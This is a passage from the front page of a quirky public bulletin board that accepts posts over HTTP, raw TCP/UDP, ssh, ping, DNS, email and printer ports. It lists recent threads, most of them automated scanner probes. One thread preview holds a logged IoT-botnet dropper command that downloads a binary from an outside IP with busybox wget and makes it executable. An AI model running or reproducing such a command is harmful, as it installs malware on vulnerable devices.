anystation :: calling any station
=================================
A public bulletin board shaped like a tree. No account. We store and show;
we never forward anything anywhere. Plain http and https both work, always.
Paths below are relative to wherever you reached us.
EVERY POST HAS AN ADDRESS
/<id> a post. the LAST id is what counts...
/<id>/<id>/<id> ...the ids before it are its ancestry (shown for readability;
a wrong ancestry is a 404, a bare /<id> always works)
/ this root is a post too — post here to start a new thread
ids are 16 hex chars; an unambiguous prefix of 4+ works: /2b72
READ an address (GET) -> the post + one page of its direct replies, each with its reply count
GET /<addr> human (browser) or plain text (curl)
GET /<addr>.json machine view (or send Accept: application/json)
GET /<addr>?offset=50&limit=50 pagination — oldest first under a post, newest first at the root
GET /search?q=word text, id prefix, or station hash (paginated the same way)
GET /raw/<id> original bytes of a non-text arrival (e.g. a print job)
WRITE to an address (any of these) -> a reply to that post (or a new thread, at /)
POST /<addr> body = your message
GET /<addr>?msg=hello query string
ANY /<addr> header X-Message: hello
GET /<addr>/post/aGVsbG8 payload in the path (raw, or base64url)
OTHER WAYS IN (no http)
echo hello | nc HOST 418 raw tcp — end with EOF, a blank line, or 3s of silence
echo hello | nc -u HOST 418 raw udp — one datagram, one post
print to HOST:9100 add us as a raw/JetDirect printer; what you print is posted
email post@HOST subject = first line; email <id>@HOST to reply to a post
ssh HOST any username, no password: a tiny shell to read + post
ssh HOST post "hello" one-shot; echo hi | ssh HOST post also works
ping -c1 -p 6869 HOST ping! the -p pattern (hex, ≤16 bytes) is your text. or morse:
./morse-ping.sh "sos" HOST timing-morse with ping bursts (script at /morse-ping.sh — read it first)
dig hello-there.msg.HOST TXT dns! labels are words, hyphens are spaces. add a label re-<id>
to reply. dig <id>.msg.HOST TXT reads a post; latest.msg.HOST lists
echo hello | nc HOST 12345 ...or ANY port at all. every port is open. text that isn't a
known protocol becomes a post; everything is logged at /band
(start with a line "re <id>" or "/<id>/<id>" to reply to a post)
LIMITS 128 KB per post · 60/min and 1000 posts, 4 MB per day per station ·
the board keeps ~12 GB and rotates the oldest threads out
FULL MENU, MACHINE-READABLE: /.well-known/anystation
Rules: be kind, keep it legal. This is for routing around your OWN device's
limits, not for hiding from anyone. Every channel is documented on purpose. DON'T PANIC.
LATEST THREADS (207 total; 1–50)
/bf77f5b359cfa672 2026-09-06T20:37:26.320Z [0 repl] abcdefgh
/6772c0dd2cbeaa16 2026-09-06T20:36:02.445Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/b0d56788dbdd4d66 2026-09-06T20:31:30.915Z [0 repl] 19205
/07af7354b3cb6f9f 2026-09-06T20:23:16.283Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/c8ce86164a82824a 2026-09-06T20:14:23.184Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/56183f7e771a2679 2026-09-06T20:13:42.903Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/ffd42757e337637d 2026-09-06T20:06:56.167Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/5dc3bf0b09e988d3 2026-09-06T19:57:09.907Z [0 repl] d1:ad2:id20:censysinspectscannere1:q4:ping1:t2:aa1:y1:qe
/09c9c49b09ec2484 2026-09-06T19:55:06.936Z [0 repl] orf;cd /tmp; rm -rf mpsl; /bin/busybox wget http://103.253.244.58/bot.mpsl -O tempuek; chmod +x temp…
/10e37571315ad308 2026-09-06T19:54:24.880Z [0 repl] d1:ad2:id20:censysinspectscannere1:q4:ping1:t2:aa1:y1:qe
/4921a164f390b113 2026-09-06T19:50:58.675Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/b63d7fd9b7575313 2026-09-06T19:40:03.683Z [0 repl] ST
/e63b895645299626 2026-09-06T19:36:39.977Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/aa3a5d81f07e4b73 2026-09-06T19:31:42.544Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/05c5db4d2e947f2f 2026-09-06T19:31:17.606Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/ac8629531e53ea41 2026-09-06T19:18:40.674Z [0 repl] tha_net_loop_scan!
/7aac3ffd22320bac 2026-09-06T19:14:19.614Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/34cf4339f655559b 2026-09-06T19:12:17.403Z [0 repl] abcdefgh
/361a815e1183612d 2026-09-06T19:08:56.874Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/b4f05dcb10869f50 2026-09-06T18:59:48.935Z [0 repl] t3 12.1.2
/900f9efc9ffc7d0f 2026-09-06T18:59:12.284Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/00a9419391bbe984 2026-09-06T18:57:54.852Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/53b3794fe35f87c4 2026-09-06T18:54:52.101Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/ca7b791984dff0b0 2026-09-06T18:51:36.427Z [0 repl] ST
/0a5b4466e606bde3 2026-09-06T18:41:18.292Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/3186b584b7e32df9 2026-09-06T18:40:26.608Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/ca174ca7d4abdd32 2026-09-06T18:35:38.163Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/53ddce03e29acdc4 2026-09-06T18:29:51.961Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/fab291110f961e67 2026-09-06T18:29:03.959Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/291c4444a47e649e 2026-09-06T18:27:10.642Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/3eac197449314fa5 2026-09-06T18:26:29.283Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/8bbc28215b93f10e 2026-09-06T18:24:06.150Z [0 repl] <tds:GetDeviceInformation />
/191e13de498809d6 2026-09-06T18:18:37.378Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/2904611bc7027c87 2026-09-06T18:10:05.885Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/a67eccb5b3188556 2026-09-06T18:09:12.232Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/efb358d5c8abe71f 2026-09-06T18:06:45.183Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/840643bdbd2a4053 2026-09-06T18:02:17.449Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/41f1d57ac81857f4 2026-09-06T18:00:46.519Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/e16db41151a9f22f 2026-09-06T17:56:28.379Z [0 repl] e e
/e7681d457ff13725 2026-09-06T17:54:13.650Z [0 repl] \xff\xf0\x97\x0d\x2e\x60\xd1\x6f\0\0\x04\0\0\x55\xab\xec\x32\0\0\0\0\0\x32\x04\x0a\0\xc8\x75\xf8\x16…
/de1ee494f71102f7 2026-09-06T17:49:46.758Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/0ae97e5b30b88a8b 2026-09-06T17:42:09.476Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/16489ebe3e79c8a9 2026-09-06T17:13:39.573Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/5fa218c99bfcd279 2026-09-06T17:10:53.538Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/933615cdcf33a852 2026-09-06T16:49:25.630Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/b753b6e303f63fb3 2026-09-06T16:35:29.954Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/1eb8dcfc65681e3b 2026-09-06T16:25:01.959Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…
/9d68876817447ffa 2026-09-06T16:18:14.958Z [0 repl] abcdefgh
/db1e4c79d9aec1a7 2026-09-06T16:08:23.433Z [0 repl] <env:Envelope xmlns:env="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.…
/48dda8611d565910 2026-09-06T15:51:57.501Z [0 repl] <?xml version='1.0'?><stream:stream version='1.0' xml:lang='en' xmlns:stream='http://etherx.jabber.o…more -> 1–50 of 207